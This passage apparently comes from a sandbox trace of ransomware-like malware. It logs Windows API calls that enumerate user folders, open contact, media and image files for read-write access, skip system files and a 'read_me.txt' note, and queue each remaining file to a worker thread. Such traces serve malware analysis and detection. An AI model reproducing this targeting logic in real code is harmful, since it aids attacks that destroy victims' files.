pszDest=0x41b2090, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*") returned 44 [0078.595] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a82cc10, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a82cc10, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.595] wnsprintfW (in: pszDest=0x41b2090, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\.") returned 44 [0078.595] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a82cc10, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a82cc10, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.595] wnsprintfW (in: pszDest=0x41b2090, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\..") returned 45 [0078.595] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0x540000, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0078.595] wnsprintfW (in: pszDest=0x41b2090, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned 66 [0078.595] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0078.597] StrStrW (lpFirst="aclviho asldjfl.contact", lpSrch="read_me.txt") returned 0x0 [0078.597] StrStrW (lpFirst="aclviho asldjfl.contact", lpSrch="autoexec.bat") returned 0x0 [0078.597] StrStrW (lpFirst="aclviho asldjfl.contact", lpSrch="desktop.ini") returned 0x0 [0078.597] StrStrW (lpFirst="aclviho asldjfl.contact", lpSrch="autorun.inf") returned 0x0 [0078.597] StrStrW (lpFirst="aclviho asldjfl.contact", lpSrch="ntuser.dat") returned 0x0 [0078.598] StrStrW (lpFirst="aclviho asldjfl.contact", lpSrch="iconcache.db") returned 0x0 [0078.598] StrStrW (lpFirst="aclviho asldjfl.contact", lpSrch="bootsect.bak") returned 0x0 [0078.598] StrStrW (lpFirst="aclviho asldjfl.contact", lpSrch="boot.ini") returned 0x0 [0078.598] StrStrW (lpFirst="aclviho asldjfl.contact", lpSrch="ntuser.dat.log") returned 0x0 [0078.598] StrStrW (lpFirst="aclviho asldjfl.contact", lpSrch="thumbs.db") returned 0x0 [0078.598] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 6 [0078.598] QueueUserWorkItem (Function=0x404e00, Context=0x7a4, Flags=0x0) returned 1 [0078.598] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x540000, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0078.598] wnsprintfW (in: pszDest=0x41b2090, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact") returned 64 [0078.598] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7bc [0078.598] StrStrW (lpFirst="administrator.contact", lpSrch="read_me.txt") returned 0x0 [0078.598] StrStrW (lpFirst="administrator.contact", lpSrch="autoexec.bat") returned 0x0 [0078.598] StrStrW (lpFirst="administrator.contact", lpSrch="desktop.ini") returned 0x0 [0078.598] StrStrW (lpFirst="administrator.contact", lpSrch="autorun.inf") returned 0x0 [0078.598] StrStrW (lpFirst="administrator.contact", lpSrch="ntuser.dat") returned 0x0 [0078.598] StrStrW (lpFirst="administrator.contact", lpSrch="iconcache.db") returned 0x0 [0078.598] StrStrW (lpFirst="administrator.contact", lpSrch="bootsect.bak") returned 0x0 [0078.599] StrStrW (lpFirst="administrator.contact", lpSrch="boot.ini") returned 0x0 [0078.599] StrStrW (lpFirst="administrator.contact", lpSrch="ntuser.dat.log") returned 0x0 [0078.599] StrStrW (lpFirst="administrator.contact", lpSrch="thumbs.db") returned 0x0 [0078.599] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 7 [0078.599] QueueUserWorkItem (Function=0x404e00, Context=0x7bc, Flags=0x0) returned 1 [0078.599] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x540000, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0078.599] wnsprintfW (in: pszDest=0x41b2090, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact") returned 64 [0078.599] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0078.599] StrStrW (lpFirst="asdlfk poopvy.contact", lpSrch="read_me.txt") returned 0x0 [0078.599] StrStrW (lpFirst="asdlfk poopvy.contact", lpSrch="autoexec.bat") returned 0x0 [0078.599] StrStrW (lpFirst="asdlfk poopvy.contact", lpSrch="desktop.ini") returned 0x0 [0078.599] StrStrW (lpFirst="asdlfk poopvy.contact", lpSrch="autorun.inf") returned 0x0 [0078.599] StrStrW (lpFirst="asdlfk poopvy.contact", lpSrch="ntuser.dat") returned 0x0 [0078.599] StrStrW (lpFirst="asdlfk poopvy.contact", lpSrch="iconcache.db") returned 0x0 [0078.599] StrStrW (lpFirst="asdlfk poopvy.contact", lpSrch="bootsect.bak") returned 0x0 [0078.599] StrStrW (lpFirst="asdlfk poopvy.contact", lpSrch="boot.ini") returned 0x0 [0078.599] StrStrW (lpFirst="asdlfk poopvy.contact", lpSrch="ntuser.dat.log") returned 0x0 [0078.600] StrStrW (lpFirst="asdlfk poopvy.contact", lpSrch="thumbs.db") returned 0x0 [0078.600] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 8 [0078.600] QueueUserWorkItem (Function=0x404e00, Context=0x7b8, Flags=0x0) returned 1 [0078.600] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0x540000, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0078.600] wnsprintfW (in: pszDest=0x41b2090, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact") returned 63 [0078.600] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c0 [0078.619] StrStrW (lpFirst="chucu jadnvk.contact", lpSrch="read_me.txt") returned 0x0 [0078.619] StrStrW (lpFirst="chucu jadnvk.contact", lpSrch="autoexec.bat") returned 0x0 [0078.619] StrStrW (lpFirst="chucu jadnvk.contact", lpSrch="desktop.ini") returned 0x0 [0078.619] StrStrW (lpFirst="chucu jadnvk.contact", lpSrch="autorun.inf") returned 0x0 [0078.619] StrStrW (lpFirst="chucu jadnvk.contact", lpSrch="ntuser.dat") returned 0x0 [0078.620] StrStrW (lpFirst="chucu jadnvk.contact", lpSrch="iconcache.db") returned 0x0 [0078.620] StrStrW (lpFirst="chucu jadnvk.contact", lpSrch="bootsect.bak") returned 0x0 [0078.620] StrStrW (lpFirst="chucu jadnvk.contact", lpSrch="boot.ini") returned 0x0 [0078.620] StrStrW (lpFirst="chucu jadnvk.contact", lpSrch="ntuser.dat.log") returned 0x0 [0078.620] StrStrW (lpFirst="chucu jadnvk.contact", lpSrch="thumbs.db") returned 0x0 [0078.620] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 33 [0078.620] QueueUserWorkItem (Function=0x404e00, Context=0x7c0, Flags=0x0) returned 1 [0078.620] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x540000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0078.620] wnsprintfW (in: pszDest=0x41b2090, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini") returned 54 [0078.620] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f8 [0078.620] StrStrW (lpFirst="desktop.ini", lpSrch="read_me.txt") returned 0x0 [0078.620] StrStrW (lpFirst="desktop.ini", lpSrch="autoexec.bat") returned 0x0 [0078.620] StrStrW (lpFirst="desktop.ini", lpSrch="desktop.ini") returned="desktop.ini" [0078.620] CloseHandle (hObject=0x7f8) returned 1 [0078.621] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x540000, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0078.621] wnsprintfW (in: pszDest=0x41b2090, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact") returned 64 [0078.621] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7fc [0078.630] StrStrW (lpFirst="lulcit amkdfe.contact", lpSrch="read_me.txt") returned 0x0 [0078.631] StrStrW (lpFirst="lulcit amkdfe.contact", lpSrch="autoexec.bat") returned 0x0 [0078.631] StrStrW (lpFirst="lulcit amkdfe.contact", lpSrch="desktop.ini") returned 0x0 [0078.631] StrStrW (lpFirst="lulcit amkdfe.contact", lpSrch="autorun.inf") returned 0x0 [0078.631] StrStrW (lpFirst="lulcit amkdfe.contact", lpSrch="ntuser.dat") returned 0x0 [0078.631] StrStrW (lpFirst="lulcit amkdfe.contact", lpSrch="iconcache.db") returned 0x0 [0078.631] StrStrW (lpFirst="lulcit amkdfe.contact", lpSrch="bootsect.bak") returned 0x0 [0078.631] StrStrW (lpFirst="lulcit amkdfe.contact", lpSrch="boot.ini") returned 0x0 [0078.631] StrStrW (lpFirst="lulcit amkdfe.contact", lpSrch="ntuser.dat.log") returned 0x0 [0078.631] StrStrW (lpFirst="lulcit amkdfe.contact", lpSrch="thumbs.db") returned 0x0 [0078.631] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 38 [0078.631] QueueUserWorkItem (Function=0x404e00, Context=0x7fc, Flags=0x0) returned 1 [0078.631] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a82cc10, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a82cc10, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a82cc10, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.631] wnsprintfW (in: pszDest=0x41b2090, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\read_me.txt") returned 54 [0078.631] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x814 [0078.631] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0078.631] CloseHandle (hObject=0x814) returned 1 [0078.631] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x540000, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0078.631] wnsprintfW (in: pszDest=0x41b2090, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact") returned 64 [0078.631] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x814 [0078.637] StrStrW (lpFirst="sikvnb huvuib.contact", lpSrch="read_me.txt") returned 0x0 [0078.637] StrStrW (lpFirst="sikvnb huvuib.contact", lpSrch="autoexec.bat") returned 0x0 [0078.637] StrStrW (lpFirst="sikvnb huvuib.contact", lpSrch="desktop.ini") returned 0x0 [0078.637] StrStrW (lpFirst="sikvnb huvuib.contact", lpSrch="autorun.inf") returned 0x0 [0078.637] StrStrW (lpFirst="sikvnb huvuib.contact", lpSrch="ntuser.dat") returned 0x0 [0078.637] StrStrW (lpFirst="sikvnb huvuib.contact", lpSrch="iconcache.db") returned 0x0 [0078.638] StrStrW (lpFirst="sikvnb huvuib.contact", lpSrch="bootsect.bak") returned 0x0 [0078.638] StrStrW (lpFirst="sikvnb huvuib.contact", lpSrch="boot.ini") returned 0x0 [0078.638] StrStrW (lpFirst="sikvnb huvuib.contact", lpSrch="ntuser.dat.log") returned 0x0 [0078.638] StrStrW (lpFirst="sikvnb huvuib.contact", lpSrch="thumbs.db") returned 0x0 [0078.638] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 44 [0078.638] QueueUserWorkItem (Function=0x404e00, Context=0x814, Flags=0x0) returned 1 [0078.638] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x540000, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0078.638] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0078.638] wnsprintfW (in: pszDest=0x41b2090, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\read_me.txt") returned 54 [0078.638] GetProcessHeap () returned 0x540000 [0078.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b2090 | out: hHeap=0x540000) returned 1 [0078.638] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 41 [0078.638] GetProcessHeap () returned 0x540000 [0078.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41c2098 | out: hHeap=0x540000) returned 1 [0078.638] GetProcessHeap () returned 0x540000 [0078.638] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42120c0 [0078.638] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx\\*") returned 63 [0078.638] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbad7960, ftCreationTime.dwHighDateTime=0x1d4c641, ftLastAccessTime.dwLowDateTime=0x1a983870, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a983870, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.638] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx\\.") returned 63 [0078.638] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbad7960, ftCreationTime.dwHighDateTime=0x1d4c641, ftLastAccessTime.dwLowDateTime=0x1a983870, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a983870, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.638] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx\\..") returned 64 [0078.638] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb94f4c50, ftCreationTime.dwHighDateTime=0x1d4c99c, ftLastAccessTime.dwLowDateTime=0xd9dd33e0, ftLastAccessTime.dwHighDateTime=0x1d4c70a, ftLastWriteTime.dwLowDateTime=0xd9dd33e0, ftLastWriteTime.dwHighDateTime=0x1d4c70a, nFileSizeHigh=0x0, nFileSizeLow=0x17c7f, dwReserved0=0x540000, dwReserved1=0x0, cFileName="2PDo3FvRLwa.m4a", cAlternateFileName="2PDO3F~1.M4A")) returned 1 [0078.639] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx\\2PDo3FvRLwa.m4a") returned 77 [0078.639] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx\\2PDo3FvRLwa.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8ul_erv\\9l6yke2ncx\\2pdo3fvrlwa.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x82c [0078.639] StrStrW (lpFirst="2pdo3fvrlwa.m4a", lpSrch="read_me.txt") returned 0x0 [0078.639] StrStrW (lpFirst="2pdo3fvrlwa.m4a", lpSrch="autoexec.bat") returned 0x0 [0078.639] StrStrW (lpFirst="2pdo3fvrlwa.m4a", lpSrch="desktop.ini") returned 0x0 [0078.639] StrStrW (lpFirst="2pdo3fvrlwa.m4a", lpSrch="autorun.inf") returned 0x0 [0078.639] StrStrW (lpFirst="2pdo3fvrlwa.m4a", lpSrch="ntuser.dat") returned 0x0 [0078.639] StrStrW (lpFirst="2pdo3fvrlwa.m4a", lpSrch="iconcache.db") returned 0x0 [0078.639] StrStrW (lpFirst="2pdo3fvrlwa.m4a", lpSrch="bootsect.bak") returned 0x0 [0078.639] StrStrW (lpFirst="2pdo3fvrlwa.m4a", lpSrch="boot.ini") returned 0x0 [0078.639] StrStrW (lpFirst="2pdo3fvrlwa.m4a", lpSrch="ntuser.dat.log") returned 0x0 [0078.639] StrStrW (lpFirst="2pdo3fvrlwa.m4a", lpSrch="thumbs.db") returned 0x0 [0078.639] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 45 [0078.639] QueueUserWorkItem (Function=0x404e00, Context=0x82c, Flags=0x0) returned 1 [0078.639] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6044cd60, ftCreationTime.dwHighDateTime=0x1d4d4c3, ftLastAccessTime.dwLowDateTime=0xc62e5a00, ftLastAccessTime.dwHighDateTime=0x1d4ccf4, ftLastWriteTime.dwLowDateTime=0xc62e5a00, ftLastWriteTime.dwHighDateTime=0x1d4ccf4, nFileSizeHigh=0x0, nFileSizeLow=0xc5b, dwReserved0=0x540000, dwReserved1=0x0, cFileName="jwR-I_l-yT1jR.jpg", cAlternateFileName="JWR-I_~1.JPG")) returned 1 [0078.639] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx\\jwR-I_l-yT1jR.jpg") returned 79 [0078.639] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx\\jwR-I_l-yT1jR.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8ul_erv\\9l6yke2ncx\\jwr-i_l-yt1jr.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x830 [0078.639] StrStrW (lpFirst="jwr-i_l-yt1jr.jpg", lpSrch="read_me.txt") returned 0x0 [0078.640] StrStrW (lpFirst="jwr-i_l-yt1jr.jpg", lpSrch="autoexec.bat") returned 0x0 [0078.640] StrStrW (lpFirst="jwr-i_l-yt1jr.jpg", lpSrch="desktop.ini") returned 0x0 [0078.640] StrStrW (lpFirst="jwr-i_l-yt1jr.jpg", lpSrch="autorun.inf") returned 0x0 [0078.640] StrStrW (lpFirst="jwr-i_l-yt1jr.jpg", lpSrch="ntuser.dat") returned 0x0 [0078.640] StrStrW (lpFirst="jwr-i_l-yt1jr.jpg", lpSrch="iconcache.db") returned 0x0 [0078.640] StrStrW (lpFirst="jwr-i_l-yt1jr.jpg", lpSrch="bootsect.bak") returned 0x0 [0078.640] StrStrW (lpFirst="jwr-i_l-yt1jr.jpg", lpSrch="boot.ini") returned 0x0 [0078.640] StrStrW (lpFirst="jwr-i_l-yt1jr.jpg", lpSrch="ntuser.dat.log") returned 0x0 [0078.640] StrStrW (lpFirst="jwr-i_l-yt1jr.jpg", lpSrch="thumbs.db") returned 0x0 [0078.640] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 46 [0078.640] QueueUserWorkItem (Function=0x404e00, Context=0x830, Flags=0x0) returned 1 [0078.640] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8eb2f0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a8eb2f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, 